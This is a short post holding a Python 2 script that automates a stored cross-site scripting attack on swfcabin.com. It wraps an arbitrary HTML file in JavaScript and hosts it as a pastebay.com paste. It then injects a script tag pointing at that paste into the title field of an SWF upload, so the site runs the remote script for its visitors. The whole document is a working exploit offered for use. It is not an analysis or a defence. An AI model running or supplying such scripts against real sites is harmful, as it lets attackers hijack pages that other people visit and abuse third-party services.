Automating XSS and PasteBay to make an html file uploader

Code:
#!/usr/bin/env python2


import urllib,urllib3
import argparse
import uuid


#Some command line arguments
parser = argparse.ArgumentParser(
	description='Expoit an xxs vunerability in swfcabin.com'
)

parser.add_argument(
	dest='filename',
	type=file,
	help='location of file on hard drive'
)
parser.add_argument(
	'-s',
	required=False,
	help='pastebay subdomain, max length of 20'
)
args = parser.parse_args()


#Sort out inputs
file_reader = args.filename
subdomain = args.s
if file_reader==None:	#No args given
	print("Give me a file to upload")
	exit()
if subdomain==None:		#Supply a random subdomain
	subdomain = uuid.uuid4()

#20 char max length to fit into xss vector
subdomain = ("%s"%subdomain)[:20]
#Wrap the uplaod file in js replace the body after it loads
true_upload = '''var readyStateCheckInterval = setInterval(
	function(){
		if(
			document.readyState==='complete' ||
			document.readyState==='interactive'
		){
			begin_main_routine_hge23ri();
			clearInterval(readyStateCheckInterval);
		}
	},
	10);

function begin_main_routine_hge23ri(){
	document.write(unescape(\'%s\'));
}'''%urllib.quote(file_reader.read(),'')


#Upload code to pastebay
print("Uploading file to %s.pastebay.com"%subdomain)
url = "http://%s.pastebay.com"%subdomain
data = {"poster":"",
	"code2":true_upload,
	"expiry":"m",	# <--- You can change this to d, m, or f <--- #
	"paste":"1"
}
data = urllib.urlencode(data)
resp = urllib.urlopen(url,data).read()
resp = resp.split('<a href="http://%s.pastebay.com/'%subdomain)[1]
resp = resp.split('"')[0]
code_location = "%s.pastebay.com/?dl=%s"%(subdomain,resp)

print("Uploaded: http://%s"%code_location)


#Upload to swfcabin and display link
print("Uploading .swf to swfcabin")
url = "http://swfcabin.com"

subdomain = "awdwdw"
xss = '</title><script src="//%s">'%code_location
headers={
	"User-Agent":"Internet Explorer 5",
	"Accept-Encoding":"gzip, deflate"
}
fields={
	"uploadSwf":"Publish Swf",
	"title":xss,
	"fileswf":(
		"test.swf",
		"",
		"application/vnd.adobe.flash.movie"
		)
}

try:
	con = urllib3.PoolManager()
	resp = con.request_encode_body("POST",url,fields).data
	resp = resp.split('''Your swf file has successfully been published and is now available at the below url:
				<input type="text" value="''')[1]
	resp = resp.split('"')[0]
	print("Uploaded: %s"%resp)
except:
	print("Could not upload to swfcabin :(")